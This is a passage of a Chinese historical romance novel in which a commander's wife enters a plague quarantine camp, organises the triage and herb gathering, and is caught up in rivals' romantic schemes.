银霜辗转反侧,久久未能入眠。她披上外衫,悄然出了门,沿着小径漫无目的地踱步,走到庭院尽头,一跃而起,翻身坐上屋檐。
屋脊之上,风凉如水,她抱膝而坐,望着夜空里一轮清月,心中思绪万千。
这时,院门外传来轻微脚步声。
陆临川手持灯笼走来,原是也因夜难安寝。
忽然抬头,他在月下望见银霜的身影,仿佛与这夜色融为一体。他轻声唤道:“银霜姑娘。”
银霜闻声回头,眼神仍带着她几乎不曾示人的冷淡,却在看到是他时,语气略微柔和些:“陆司马还未歇下?”
陆临川抬头笑道:“睡不着。倒是你,我倒觉得现在的你,才是原本的你吧。”
银霜垂眸,轻声说:“我只是个婢女,原本是什么模样又有什么重要的。我只要记得,保护好我家小姐就够了。”
“这怎么不重要?”陆临川认真地看着她,“无论是丫鬟,还是贵女,抑或乞儿,每一个人活着,都有存在的意义。你说不重要,可你家小姐在意你,晚娘在意你,我……”他说到这里,声音微微低了一分。
“我也会在意你。更何况你还救过我。”
银霜低头看着他,心中第一次升起一种被出了姜家以外的人看见的情绪。
她轻轻一跃,从屋檐上落到他身前,直视着他,眼里带着一丝防备,又带着一丝不易察觉的动摇:“陆司马口才真好,不愧是读书人。”
陆临川笑了一声,问她:“你识字吗?”
“小时候被老爷买回去,专门培养成暗卫的时候,学了一些,”银霜说道,“书却没读过几本。”
陆临川轻轻点头,顿了顿,又问:“那你有没有什么心愿?不为小姐,为你自己。”
银霜怔了怔,神情认真地想了片刻:“我希望小姐幸福快乐,不再日日提心吊胆地担忧你家都督哪天挥兵讨伐凉州。”
“我问的是你自己真正的心愿。”陆临川语气更温柔了一些。
银霜静了片刻,目光不再飘忽,而是定定地看着他:“我心里就是这么想的。凉州是我的家,我没有其他的心愿。”
月光斜照在她的侧脸,眉眼坚定而冷静。
陆临川看着她,忽然话锋一转,带了些笑意:“银霜姑娘,若我家主公有一日执意攻凉州,还……伤了你家小姐呢?”
银霜眼神瞬间沉下去,一字一句道:“那我就——杀了他。”
陆临川不禁笑出声来,没想到,姬阳亲自悬了一把刀在脑袋上。
第36章
夜深沉,虫鸣断续,风过树梢。
姬阳忽然从梦中醒来,额间薄汗沁出,胸口仿佛被什么堵着般闷热。他坐起身来,抬手掀开薄被,起身推门而出。
院中夜色如水,一缕晚风从廊下掠过,拂面带凉。他站在廊下,深吸一口气,眉头微蹙,胸口才稍觉舒畅几分。
他下意识转头,看向不远处紧闭的房门,门前那一抹橘黄灯光已熄。月光斜洒在门扉之上,如一层冷霜铺洒。
他望着望着,脑海却不受控制地浮现起那个意外的夜晚。
她环着他的脖子,低声唤他,唇若花瓣,呼吸缱绻。他本以为自己早将这段插曲抛在脑后,谁知今日这风一吹,却将那一幕鲜明地唤回。
他心神微动,他怔怔地伸手,下意识抬手抚了抚唇,指尖微凉。
片刻后他猛地回神,低咒了一声,转身快步回了屋。
门“砰”地一声合上。
他背靠门扉,仰头闭目,深吸一口气,那股烦闷却如潮水翻涌而上。
他重新回到床上躺下,强迫自己闭上眼,思索粮道、堤坝、水工、调兵遣将……
他烦躁地翻了个身,掀开衣领,却觉得这夜,不知怎的,竟比白日更热了几分。
之后连着几日,姬阳都未再踏入郡守府。
姜辞起初未觉,直到第五日,方才觉察。
越白回来取姬阳的换洗衣物,被姜辞拉住问话,对方才挠了挠头,说道:“夫人有所不知,都督这几日都宿在军营,说是离堤坝近些,来回方便些。天未亮便出发,天黑了才回来,连饭都顾不上吃。”
姜辞闻言怔了一下,低头将汤匙轻轻搅在碗中,不知想了些什么。
晚娘见她神色异样,柔声道:“姑娘若担心,就去看看吧。说到底,你们是……一家人。”
姜辞沉默片刻,轻轻颔首。她唤银霜备车,又让晚娘动手卤了一锅牛肉,加上几样她平日知道姬阳爱吃的小菜,亲自盛入食盒中,天色将暮时,便带着银霜往西营而去。
路过西城门时,尚未走近,便见数名军士正抬着草席掩盖的尸身往城外去。
有寒风掠面,席下露出的一角布衣被吹得微微颤动,姜辞驻足,鼻中
隐约闻到一丝焦土的味道。她看向不远处,浓烟自堤边升起,夹杂着晚霞的残光,恍若天际着火。
姜辞心头微紧,拦下一名军士,问道:“发生何事?”
军士认出她,连忙拱手:“回都督夫人,那些人是近日染病暴毙之人,起初只是高热咳喘,但城中大夫不够,用药也紧,救治不及,如今死了已有数十。都督怕瘟疫蔓延,下令将尸首焚于城外,以防疫病蔓延。”
姜辞闻言,心中一震,原本尚抱一丝侥幸,如今却知疫病终究还是来了。
等她抵达军营,姬阳不在,银霜便将食盒安置在他帐中桌案上,姜辞站了一会儿,终是未留字条,只转身悄然离去。
不久后,姬阳归来。因白日协力搬运沙袋,他右臂筋骨拉伤,此刻正按着酸痛处寻药,猛然想起自己那瓶活血止痛的药膏早已留给姜辞。他微微皱眉,回身欲唤人,却一眼瞥见桌上的食盒。
他走上前,揭盖,一缕卤香扑鼻,盒中是色泽红亮的卤牛肉,一碟莴笋炒腐皮,一碗熬得温软的清粥,粥面还覆着一层薄薄的热气。
他愣了一瞬,旋即转身唤道:“越白。”
越白应声而入:“都督。”
“姜辞来过?”
“是。”越白笑着答,“刚走不久,要不我将她叫回来?”
姬阳默了片刻,揉了揉肩,语气低沉:“不用了,让她回去歇着吧。”
他重新坐下,挑了一块牛肉放入口中,咀嚼之间,辛香中透着温软,竟莫名让人心口微热。
第二日,天光未亮,天边只泛着一抹鱼肚白,银霜便推门急匆匆而入,步履慌张,脸色苍白。
“小姐,大事不好了。”她气喘吁吁地道。
“昨夜就有几户人家发烧呕吐,如今城中疫病蔓延开了,已有不少百姓倒下。虽说官府已将他们安置在城北,说是暂时不会波及这边……但我总觉得不安。要不,咱们先回丰都吧?”
姜辞闻言,心头一沉,倏地坐起身来,披衣而起,一边系着衣带,一边神色坚定道:“我们不能走。如今都督正忙于治水,疫病之事定然分身乏术。况且城中大夫原本就不够,我们若也走了,只会让局势更加棘手。”
她吩咐晚娘在府中留守,不得擅出半步,自己则携着银霜跟着她匆匆而出。
清晨的街道上尚未热闹,城北一带却已乱作一团。
那是城中临时辟出的空地,原是荒废的驿站边角,如今却搭满了临时帐篷,泥泞不堪,草席为床,帐布破旧。
晨光透不进沉沉苦气,风中已带着淡淡腥腐味,远远便闻得咳嗽呕吐之声此起彼伏。
有不少百姓或坐或卧,脸色灰白,唇色青紫,有的高热不退地呻吟,有的蜷缩在角落里已经昏厥。更远处,一些孩童倚在墙边无声啜泣,神情麻木。
银霜几欲落泪,拉住姜辞袖子,哽声劝道:“小姐,这里太危险了,你不能进去!你若是染病,我们该怎么办?”
姜辞却只是从怀中取出一方白帕,稳稳遮住口鼻,目光沉静如水:“银霜,若连我们都怕了,那这些人怎么办?”
她向前走了几步,扬声问道:“可有大夫在此?”
姜辞刚一靠近营地,便被几名守卫拦了下来,长戟交叉横在身前,神情严肃:“此地是疫患重地,未经许可不得靠近。”
姜辞止步,向里望了一眼,只见人群杂乱,不少人面色尚属正常,显然并非人人染病。她蹙眉道:“你们将病患与未病之人混居一处,这只会令疫病更快蔓延。”
守卫冷声应道:“军令难违,这是郡守大人下的命令。命我们围守营地,防止疫病传出,也防止外人误入。”
“我曾在紫川随医巡诊,多少懂得辨脉识症,”姜辞语速加快,语气却分外清晰,“你们若不信我治病,也可让我带人进内,分辨谁是病者,谁仍健康,好将他们分隔。否则再拖下去,伤亡只会更多。”
守卫仍不动声色:“夫人恕罪。我们只听军令,任何人不得入内。”
银霜也急了,轻扯她的袖子,声音发颤:“小姐,算了吧,这种事不是你能插手的,我们若也染上……你叫我如何向老爷交代?”
但姜辞没有退。
她望着帐篷间呻吟翻滚的人影,喉中泛起哽意。那些瘦削的肩背、病痛的低鸣,与她在紫川时看到的百姓何其相似。
她在父亲的鼓励下第一次走入疫区,那时她看着面前一切,手在发抖,父亲却说:“百姓供我们衣食,若他们受难,我们便该替他们撑起一线天。”
她记得那日自己在心中许下的愿望:愿天下再无战事,百姓安居乐业,所有人健康平安。
姜辞低头,对银霜低声说道:“你在这儿等我,不许跟进来。”
“小姐——”
她话音刚落,已抬手拨开守卫的长戟,猛地从两人胳膊下一个矮身冲了进去。守卫一愣,旋即回神,连忙大声喝道:“你可知道你进去,我们是不会放你出来的!”
姜辞未回头,冷静地说道:“我也没想着要离开。”
银霜在原地急得直跺脚,双手抓着围栏,大声哭喊:“小姐!你出事了我怎么跟老爷交代啊——”
姜辞回头望她一眼,神色安然:“在紫川我们也经历过,这次也一样。你放心,如今疫势尚浅,只要处理得当,不至失控。可若继续无人管,整个宁陵都保不住。”
说罢,她义无反顾地转身,踏入那片草席交错、呻吟连连的地方。她目光扫过那些蜷卧在地、裹着薄被的病人,那些扶着昏睡亲人落泪的村妇,那些脸色灰白的孩子。
她的心,重重一紧。却也更笃定。
姜辞踏入疫区的瞬间,周围原本无精打采的目光齐齐聚焦于她。
她一身素衣,腰间佩帕,神色沉稳,但这一份与众不同的从容,在这片被病痛与绝望浸泡的营地中,却显得格格不入。
不远处,有人低声咕哝了一句:“又来了一个穿得体面的人……不会又是哄我们的吧?”
一位满脸灰尘的老妇人冷冷道:“之前来了好几个大夫,说是分诊配药,结果见人一倒下就全跑了。你们这些人就会骗我们!”
姜辞脚步微顿,还未来得及开口,便听见前方几声咳嗽骤响,一名青年满面病容,脚步踉跄地走上前来,故意在她面前咳得撕心裂肺,声音尖厉刺耳,一边咳一边逼近她:“那你倒是上前来看看啊,别在这儿装木作样。”
银霜在后方大急,却被守卫死死挡在外面。
姜辞侧身避开那人的飞沫,依旧用帕子遮着口鼻,却沉声道:“我不是来骗你们的。我会诊脉识症,我来,是为了分清谁真正染病,谁还健康,好将你们隔离开,才能进行治疗。”
她一边说,一边望向这片临时安置地,“此地虽小,但仍可一分为三,东边置重病,西侧安置未病之人,中段留予轻症。”
可她话音未落,远处就有几声嗤笑传来。
“你一个娘儿们,也懂这些?”
“别再扯了!穿得人模狗样的,来骗谁呢?哪儿有你这样的大夫。”
人群忽然躁动起来,有人推着她的背,有人开始吼叫:“别在这里说漂亮话了!说到底,还是郡守派你来哄我们安分的吧?”
“我们不是羊!你们把我们赶来这儿,不管不问,就想靠一个女人糊弄过去?”
愈演愈烈的喧嚷中,一个身形削瘦但眼神狠厉的年轻人忽然从人群中站出来,冷声道:“我看她
穿得干净利落,衣裳料子也不俗,分明不是寻常人。与其听她废话,不如绑了她去要挟郡守,放我们出去!”
一石激起千层浪,这话一出口,四周登时骚动。
“对!放我们出去!我们又不是病人,凭什么让我们跟死人一起等死?”
“我这几天亲眼看着七八个人被抬出去!不放我们出去,难道我们就只能坐着等下一个轮到自己?”
“求求你了!”一个妇人忽然从人群中冲出来,跪在姜辞面前,声音嘶哑带哭腔,“这位小姐,你看我家孩子才三岁,一口气都快喘不上来了,我不怕死,可他还小啊……求你想办法,放我和孩子出去行不行?我们自己去找大夫,绝不拖累城中百姓。”
姜辞望着眼前这群陷入惊惧与绝望中的人,心头如压巨石。
她伸出手想将妇人扶起,却被人一把拽开,那位妇人的丈夫红着眼大吼道:“你装什么好人?要是真心救人,就该早来!”
四面八方的声音如浪般涌来,将她淹没。喊叫、质疑、哭泣、咳嗽交织成疫区最混乱最真实的光景。
守卫的铁闸之后,银霜红了眼圈,她踮起脚尖望着内里人影,终是转身拔腿朝西营奔去,她得去找姬阳,再晚一步,小姐就要被这群人淹没了。
第37章
此时刚果午时,姬阳正与陆临川、杜孟秋二人围于沙盘前,商议城西塌陷堤段如何重筑、是否就地取材修一木石混桥以接运粮线。
帐内气氛凝重,杜孟秋拿着木尺比划,陆临川则低声道:“……若以麻索固定横梁,恐撑不过连夜急雨。”
姬阳眉头紧皱,正要说话,忽听帐外传来一阵纷扰。
“求求你通传一声,就说银霜有急事见都督!”那声音带着一丝哭腔,急切得不顾礼数。
守帐军士低喝:“都督与司马大人在议政,闲杂人等不得擅入!”
“我不是闲人,我是夫人的侍女银霜,真的是急事,若不见都督,我家小姐要出事了!”
帐中三人齐声停住,姬阳眉头一挑,面露不悦:“外头吵什么?”
陆临川却听出熟音,微一侧耳,说道:“是银霜的声音,主公,夫人可能有事找你。”
姬阳眼神一凛,将手中旗子重重插在沙盘上,“唰”地起身走出。
一掀帘幕,果然见银霜正跪在营帐门前,满面惊慌失措,额发凌乱,跪倒在地,声音颤抖地喊道:“都督,求您救救我家小姐!”
姬阳登时面色一沉,俯视着她,语气压抑着怒意:“你先起来,有事直说。”
陆临川也步出帐外,扶她一把,沉声问道:“发生了什么?怎么慌成这样?”
银霜哽咽着将事情一五一十道来:“今早小姐听说城中疫病加重,便忧心百姓安危,自行前往疫区探视,不想守卫拦不住,她硬是冲了进去……谁知那些村民见她衣着不凡,误以为她是郡守派来的,说要绑了她去换出路。”
这番话一出口,帐外一时风声寂然,唯有军旗在晨风中猎猎作响。
陆临川脸色瞬变,脱口而出:“绑了?!”
姬阳眼神如剑,咬牙低斥:“她竟敢只身涉险!”心中莫名涌起一股怒火。
他猛然转身大喝:“来人,快备马,跟我去疫区!”回头又向陆临川沉声吩咐:“你先与副将商定修桥之事,我去去便回。”
不等众人反应,姬阳已快步疾行,银霜连忙起身跟上。
疫区边缘,一片混乱。
姜辞被愤怒与绝望的村民围在中央,衣角早已被拉扯凌乱。她努力解释,却无人肯听,哭喊声、怒斥声此起彼伏。
“我活这么大就没见过女大夫,八成是个女骗子。”
“放我们出去!我们还想活着!”
“就是!绑了她!换我们出去!”
一群人越逼越近,姜辞强撑着镇定,死死护着胸口,一步步后退。忽地,一个壮汉猛然伸手拽住她的胳膊,姜辞被拉得一个踉跄,眼前一黑,几乎跌倒。
就在这时——
一阵马蹄声由远而近,如急雨拍地,轰然作响。
“驾——”
众人惊愕抬头,只见一骑自天边狂风般奔至,尘土飞扬,那马不减速势,铁蹄几欲踹断围栏。
“快让开——让开!”有人大喊。
人群惊慌后退,纷纷四散避让。就在混乱中,有人撞了姜辞一下,她身子一晃,眼见就要摔倒在地。
“姜辞!”
那熟悉的声音骤然响起。
下一瞬,一只手从混乱中伸出,一把将她牢牢扯住。
姜辞跌进一个熟悉的怀抱里,尚未来得及喘息,便被人护在胸前。她抬头,看见姬阳站在她面前,神色冷峻,眉宇间隐隐透着风沙般的凌厉。
“你疯了吗?”他压低声音,一把抓着姜辞的胳膊,咬着牙,几乎是从齿缝中挤出,“这里是疫区,你怎敢只身前来?”
姜辞还未回话,他已拉着她欲往马边去:“走,我带你出去。”
姜辞猛地挣开,甩开他的手,站稳,眼神如炬。
“我不走。”
姬阳愣住。
“姜辞,你在发什么疯!??”
姜辞却不动,反而倔强地望着他。
“我走了,那他们怎么办?”
“你总不能拿自己的命去做这事!”姬阳皱眉,“姜辞,你知不知道这是什么地方?”
姜辞第一次在众目睽睽之下忤逆他,她声音微颤,却带着一股撼人的坚定:
“姬阳,我姜辞,从来都不怕死。初入丰都那日不怕,嫁给你那日不怕,今日更不怕。”
“若是能为宁陵百姓健康平安而死,那我也不枉活一遭。”
这一番话,不疾不徐,却如重锤砸入姬阳心中。
她的声音穿透人群,在这片混乱的疫区中铿锵作响,震得人心发颤。
姬阳怔住。
他从未见过这样的她。
不,是他从未认真去看。
他以为她不过是个眉眼动人、才情尚可的刺史千金,矜贵张扬,却终究属于深闺之内。而此刻的姜辞,站在疫民中间,身姿如炬,熠熠生光。
他低头凝视她半晌,终是收回了手。
楼弃正好路过此处,亦看见了这一幕。他目光久久停留在姜辞身上。
这不是她的城,这不是她的百姓,可她竟为这些与她毫无干系之人,如此奋不顾身。
“她……原来是这样的人。”
他喃喃低语,心中忽地一空,又忽地生出一种复杂的悸动,心口微闷。
姬阳终于开口,他的声音依旧清冷,却透着一丝从未有过的敬意:
“他们是汀洲人,你真的要为他们,不顾自己性命?”
姜辞看着他,缓缓点头:“我只是尽我所能,不论他们是汀洲人,还是凉州人,都是活生生的人。”
他沉默片刻,抬手高声道:“东阳军听令——”
“即刻起,你们全力协助夫人救治疫病。”
他目光一转,落在那些畏缩不前的百姓身上,神情冷厉如刃:
“所有人,都听我夫人安排。若有人敢再妄动,敢伤她一分——斩。”
众人噤若寒蝉,纷纷低头,不敢再言。
姜辞站在他身侧,第一次看见他,对她不是高高在上的都督姿态,而是为她一言定局、撑腰的依靠。
她心头一震,却只是轻轻福了一礼:
“谢都督。”
他低头看她,目光复杂,良久,才低声催促一句:
“你看什么,还不快去。”
姬阳转身欲离去,却在她身后沉声道:“姜辞,今日我信你,愿你莫负此信,莫让你我所言,终成虚言。”
银霜亦步入人群,走到姜辞身边,紧紧握住她的手,低声道:“小姐,我陪你一起。”
姜辞闻言点了点头,当即吩咐士兵搬来桌案,又命银霜去联系随军医官,调取草药与可用人手。
不多时,一个城中的郎中被带来,姜辞亲自在旁协助诊脉、记名,见病人实在太多,便以帛带为号,系于腕上,按病情轻重标以红、黄、白三色,以便分诊调药。
“将未染病的、但与病患接触过的,移至西侧空地,由军中搭棚安置;重症病患一律转至东侧,不得混居。”她语速不快,却句句有序,令人心安。
她又命士兵清扫地面,铺上干草或麻袋,尽量减少病人
直接卧地的寒湿之气。
郎中额上渗汗,拱手道:“夫人,老朽查了数十人,皆为伏湿入脏,夹疫疠之气,或寒热往来,或咳吐不止……若不尽快施治,只怕蔓延成灾。”
姜辞沉声道:“可否熬药压制?”
郎中摇头叹息:“药材不济,只能缓解,难以根治。”
她面色未变,只道:“药的事我来想办法,你们继续分批诊治,切记病患须隔离,莫让情势失控。”
小半个时辰后,姬阳那边随行的军医也赶来了,交来药材清单,一名小吏禀报道:“夫人,军中药材所剩无几,仅得黄芩、薄荷、知母些许,煎煮难支大用。”
姜辞闻言仰头望向天际,天色已由午转傍晚,日头逐渐落下,暑意渐褪。
她望着北方方向,微微蹙眉,心中却陡然升起一线希望。
她低声喃喃道:“凉州的援助,应当快到了……但眼下……”
她转过身,看着眼前一双双昏沉的目光,心中只有焦急。
病患的呻吟声与孩童的啼哭声此起彼伏,霞光照在人们灰扑扑的脸上,透着沉重与绝望。
姜辞站在一处小高台上,望着眼前站成一团的百姓。
他们面色惶然,神色不定。
她原是想号召这些尚未染病的青壮年参与照料病患,至少帮忙熬药、递水、扶人翻身,可刚一提出,便引来一阵窃窃私语。
“我家里还有孩子……”
“染上了病怎么办?”
“夫人是好人,可我们……”
最终,一众人俱都退后半步,无人应声。银霜站在她身后,握紧了拳。
姜辞神色未变,目光沉稳地扫过众人,缓缓开口:“我不会逼你们,照顾病患是需要勇气的,你们害怕,是情理之中。”
她顿了顿,环顾四周,“可若是不愿照料病人,总可以为亲人、为城中其他人,出一份力罢。”
她继续说道:“我知道你们大多不识药草,不识字也没关系。今日起,我会让城中识药的大夫,每人带一队人出城采药,我自己也会亲自带一队。”
这时,一阵风吹来,裹着苦药味与腐败气味。人群中仍无人作声,纷纷低头,神情动摇,却仍未迈步。
气氛沉沉之际,人群中忽有一妇人抬头开口。她面色苍白,衣衫褴褛,却目光坚定。她颤着声音喊道:
“夫人,我愿意加入你。”
众人望去,那妇人紧紧握着衣角,艰难地道:“我夫君前夜开始发热,如今已昏迷不醒。大夫说,若再不施药,他……他只怕熬不过三日。”
她咬着牙,哽咽了一下,却强自站直身子,“我若不能照顾他,便只能眼睁睁看着他死。与其等死,我宁愿去寻救命的草药。”
姜辞望着她,眼中泛起一丝涟漪,走下高台亲自握住她的手,低声道:“谢谢你愿意站出来。”
她重新回身望向众人,声音沉而不急:
“我知道你们怕病,但我想问你们一句,你们有没有爹娘?有没有妻儿?你们有没有在这片营地里亲人昏睡不醒,却无力照料的人?”
“你们若不出手,他们会死。可你们若出一分力,多采一味药,也许就能救一个人,救的是你们自己的人,是你们的安家之地。”
“你们怕死,我也怕。可若今日都怕得退了,明日便只等着白布盖身!”
她声音陡然一提:“我问你们,还有人愿意明日与我一道出城采药吗?”
这番话掷地有声,在人群中如投下一石,惊起阵阵涟漪。
人群中沉默片刻,终于又有一名年轻人举手,“夫人,我也愿去,我娘也病着呢。”
紧接着,一人接一人,陆续有人迈步向前,最终聚成了一小队人马。
姜辞点头,对城中几位尚能行走的大夫分派队伍,将人一一编排。
“你们明日一早跟随大夫,记好图样,不要乱采。黄连、柴胡、板蓝根、地骨皮……哪怕多挖些薄荷与菖蒲,也胜于干等。”她叮嘱道。
银霜担忧地上前,“小姐,那你呢?”
姜辞道:“我也去。”
她又回头交代随军军医与银霜:“你们负责烧水过滤,严禁生水入口。将米汤、姜水煮热了给病患喝,莫叫寒湿入体加重。”
银霜点头:“是。”
姜辞指挥有度,将疫区重新整顿分隔,轻重病患各归其位,医者与帮工也依次编排完毕。她站在临时搭建的高处,望着混乱渐平的营地,心中一口郁气才稍稍散去。
她回身唤来军中管事:“在东侧空地,替我搭一处棚子,靠近医棚的位置。”管事愣了愣,应声照办。
银霜闻言急道:“小姐,那地方离重症病患太近了,您怎能——”
姜辞轻轻摇头,神色平静:“此处病患众多,大夫人手紧缺,我不在这里,许多事就调度不开。况且我若要督诊配药,也需时时在场。”
“我既入了此地,就当与他们同吃同住。让人看见我不怕,他们才不会怕。”
她语气不高,却带着不容置疑的坚定。银霜怔怔望着她,终究只能点头。
楼弃回到客栈时,夜已深,外头街巷寂静,只有风卷过廊檐,卷动灯火微晃。
他推门而入,卸下披风,坐到桌前,酒盏未动,手指却不自觉地摩挲着杯沿,神情有些出神。
脑中一幕幕浮现——姜辞站在疫民之中,眼神坚定,声音铿锵。她明明那般纤弱,却在众人惊惶退缩时,稳稳站住,像一束光,照进了那片污浊混乱之地。
他低咒了一声,抬手将杯中酒一饮而尽,却觉得愈发烦闷。
这时,苏玉推门而入,手里甩着一个油纸包,顺手丢了过去。
“喏,街角那家馍摊的烧饼,趁热的。”她瞥了楼弃一眼,“你发什么呆?一副魂不守舍的样子。”
楼弃接住烧饼,却没立刻咬,只盯着那圆鼓鼓的油纸袋看了片刻,良久才低声道:
“今日在疫区,看见她那副模样……不知为何,有些于心不忍。”
苏玉一愣,继而坐下,笑道:“这话你也说得出口?你不是一向最讲‘各人命数由天’的么?”
“怎么,后悔了?”
楼弃没接茬,只低头咬了一口烧饼,咀嚼无味。他缓缓起身,走到窗前,推开半扇窗,夜风扑面而来。
宁陵夜色沉沉,万家灯火在远处连成星河。楼弃望着那一角微光,神色莫辨,半晌,忽然低声笑了笑,自嘲道:
“我竟有点……羡慕姬阳那小子。”
楼弃将烧饼放下,微偏头道:“苏玉,我还有一件事要你去办。”他说着,从怀中缓缓取出一个包得严实的小布囊,递了过去。
苏玉上前一步,接过,指腹一捏便觉不寻常,揭开一角看了眼,眉心瞬间拧起:“……这不是乌草?”
第38章
郡守府内,楼弃正与郡守告辞。
“治水一事,我能做的已尽,接下来就是郡中匠人与军中调配之事,楼某便不再打扰。”
郡守忙起身挽留:“燕少侠难得来一趟宁陵,眼下堤坝虽已定策,实则动工尚浅,诸多事宜还仰赖你多出谋划策。再者,近来疫病未平,城中风声四起,楼公子若愿多留几日,也好多一道照应。”
楼弃垂眸思索片刻,脑海中却浮现昨日疫区中姜辞挥汗奔走的身影,心口微沉,终是拱手应道:“也好。”
另一边,城北疫区。
姜辞正亲自带人整点草药,将十余名尚未染病的青年和女子召集起来,分成三组,由城北小门依次出入采药,以避开主街百姓,防止疫气扩散。
她言辞利落,布置周密,众人虽仍心有惧色,却也逐渐依令行事。
人群中,一名面容瘦削、披着旧帕的村妇低头站在队末,不声不响地紧随其后。
那人正是苏玉,装扮粗陋,眼神却暗藏锋芒。
而银霜则被姜辞留下,协助老郎中照料病患。姜辞临行前嘱咐道:“你多盯着些,若有人作乱,立刻遣人通知都督。”
银霜用力点头:“小姐放心,我一定护好这里。”
初夏日光温和,山道外城门处,姜辞正整队带人出发。
忽然,耳边响起一声笑意含藏的呼唤:“妹妹,你这是要去哪儿?”
人群一静,只见一人自街巷一角缓步走来,笑容轻浮里带着几分调侃。
苏玉一怔,抬眼便见楼弃已站在面前。
她低头掩饰神色,回道:“我帮都督夫人一同上山采药。”
“燕少侠?”姜辞闻声转头,也是一惊,“你怎么在这里?”
楼弃朝她拱了拱手,神色闲闲:“前几日被郡守大人留了下来,略尽绵力,帮着勘看了一段堤坝,如今基调已定,闲着无事,便在街中随意走走。”
“没想到燕少侠还通水利之事?”
“略懂略懂,”他笑,“说是帮忙,其实也就是添笔添口,旁人做主,姜姑娘这是去做什么?”
姜辞轻点头:“原是如此。”她侧身让人让出一条道,“我们是要去北山采药。前日堤口浸水,药材被毁一批,城中药库捉襟见肘,只能尽人事去寻些替代。”
楼弃闻言一顿,抬手一拍剑鞘,笑道:“正好我也闲着,不如与姜姑娘同去,算我添双手。”
姜辞略一犹豫,还是点头应下:“也好,多一人也是助力。”
两人并肩而行,走出城门不多时,姜辞忽问:“你的胳膊,可好些了?”
楼弃偏头一笑:“好多了,早就无碍。姜姑娘不必担心。”
她语气微顿,又道:“那日客栈之事,还要谢你出手相助。”
楼弃嘴角一挑,笑得漫不经心:“我本就走江湖的,拔刀相助是分内之事,不值一提。”他话锋一转,忽而低下声音凑近她耳侧,语气却微微放缓:
“更何况——”
他低声道:“那日丰都城内,还要谢谢姜姑娘救我性命。”
姜辞微怔,脸颊有些发热,却强自镇定,只轻声道:“举手之劳。”
楼弃语罢,嘴角还挂着那一抹吊儿郎当的笑,目光却始终落在姜辞脸上,含着些说不清道不明的情绪。
姜辞偏开眼,目光落向前方山道,神色平静。
这时,身后一个声音响起,带着几分无奈与歉意:
“姜姑娘,你别理我大哥,他这人,向来没个正形。”
姜辞回首,只见人群中,苏玉提着药篓走上前来,朝她露出个浅浅笑容,语气虽轻,却透着几分真诚。
“他说话总带几分胡闹,若是唐突了,您别往心里去。”
姜辞唇角轻扬:“无妨。”
她顿了顿,又道:“没想到燕少侠在这里还有个妹子。”
苏玉低头笑笑,未作声。
山道微蜿蜒,一行人顺着林间小路而行,阳光透过枝叶洒落,斑驳陆离。山风拂面,携着青草与泥土的气息,将城中疫病的沉郁气味冲散了几分。
人群中偶有低语,偶有喘息,踏着林间碎石渐渐登高。
前方的姜辞背影修长挺拔,神色淡定,偶尔低声吩咐着方位与队伍排布,清冷之中自有一股令人安心的力量。
而后方的苏玉,目光却落在她与楼弃之间短暂交汇过的那一眼上,若有所思地低垂了眼眸。
山道蜿蜒而上,薄雾未散,阳光从林隙间漏下斑驳光影,一行人依着姜辞早前划分的区域分头采药。
姜辞循着一条被野草掩映的小径前行,穿过两处低矮灌木,走至一片视野开阔的山腰平台。她驻足片刻,清风吹过,树影微晃。
前方视野一清,远处宁陵城堤坝已历历在目。
只一眼,她便在人群中看见了姬阳。
他脱了外袍,仅着薄衫,袖子挽至肘间,卷起裤脚、蹚着泥水与士卒并肩,肩上扛着沉重沙包,步履坚定,神色凝肃,却毫无桀骜之气。
有人因疲惫停下,他回头拍了拍那人肩膀,笑着说了几句什么,声音听不清,但那人点头,咬牙再上。阳光打在他额角沾泥的鬓发上,落下一道流汗的痕迹。
姜辞望着望着,这还是她第一次看见姬阳的笑。
她从未这样注视过姬阳,没有都督的威压,也无权势的疏远,他就像个寻常的青年,负重前行,为一城百姓倾力不辍。
若无那道婚书,若她与他并非因权势成婚……他们会不会在丰都城的某条巷子擦肩而过,彼此回头,然后相识,谈笑,成亲,过普通人家的日子?
她一念至此,忽觉惊悚,蓦地收回目光,心头微乱,转身便蹲下身去,拨开脚边乱草采药,仿佛方才那一瞥不过幻影。
可她不知道,那缕目光,早已落入另一人眼中。
楼弃斜倚在不远处老树旁,目光静静追随着姜辞,神情微动。他收回视线,绕过林间斜坡,悄悄靠近苏玉,在她耳边低声说了几句。
苏玉眉梢一挑,上下打量了他一眼,神情嫌弃:“你怎么也玩这种?”她压低声音,“我还以为你至少会正经点。”
楼弃一脸无辜地笑了笑,压低声音回道:“你就说帮不帮吧。”
苏玉白了他一眼,哼声一笑:“行啊,燕王爷发话,小女子自然听令。”
楼弃露出满意的笑容,轻飘飘地走开,继续往姜辞那头靠近。
姜辞正弯腰攀上一处矮崖的斜坡,坡上有一丛苍术,叶色正好,她伸手去扯。苏玉站在后方不远处,手指一动,地上捡起一块碎石,她指尖轻弹,那石子破风而出,精准击在姜辞膝后。
“唔!”姜辞猝不及防,膝盖一软,脚也跟着一滑,身下是遍布碎石的斜坡。
“姜辞!”楼弃一声惊呼,身形如风而至。
在她即将撞上坚硬石块的前一刻,他飞身而下,一把将她揽入怀中,自己却重重地摔在地上,后背撞上硬石,生疼不已。
姜辞滚进他怀里,压在他胸前,二人贴得极近,她甚至能听见他急促的心跳。她猛地挣扎起身,满脸惊魂未定。
楼弃咬牙忍痛,从地上撑起身子,艰难笑道:“你可还好?”
姜辞抬脚欲走,眉头却因脚踝剧痛狠狠皱起,强撑着没倒下。
苏玉闻声赶来,倚在高处看着地上的两人,抱臂冷冷地吐出两个字:“俗套。”
姜辞强忍着脚踝的刺痛,试图站起身来,咬牙挪动一步,才刚迈出半步,脚下一空,整个人便重重跌坐在地,冷汗从额角滑落。
“嘶……”她低声抽气,眉心皱成一团。
楼弃在旁一言未发,俯身顺势一转,半蹲下身,一把将她稳稳背上。
“我送你下山。”
姜辞一惊,伸手抵着他肩膀:“你放我下来,这样不好。”
楼弃头也不回,步伐沉稳:“你脚伤不轻,再强撑只会更糟。你是大夫,你若倒下了,那些还指望你救命的病人怎么办?”
他语声不大,却一字一句,沉稳有力。
姜辞一时噎住,只得默然。良久,她低声道:“那你将我背到山下,就请帮我叫银霜来……男女授受不亲,我毕竟是……不想叫人误会。”
楼弃闻言轻笑,语气漫不经心却带着几分真诚:“姜姑娘放心,在下知礼得很,一定不会给姑娘造成误会。”
他背着她,一步步朝山下走去。
姜辞伏在楼弃背上,双手隔着衣料抓着他肩膀,山路颠簸,她身体随之微微晃动,鼻息轻柔地打在他颈侧。
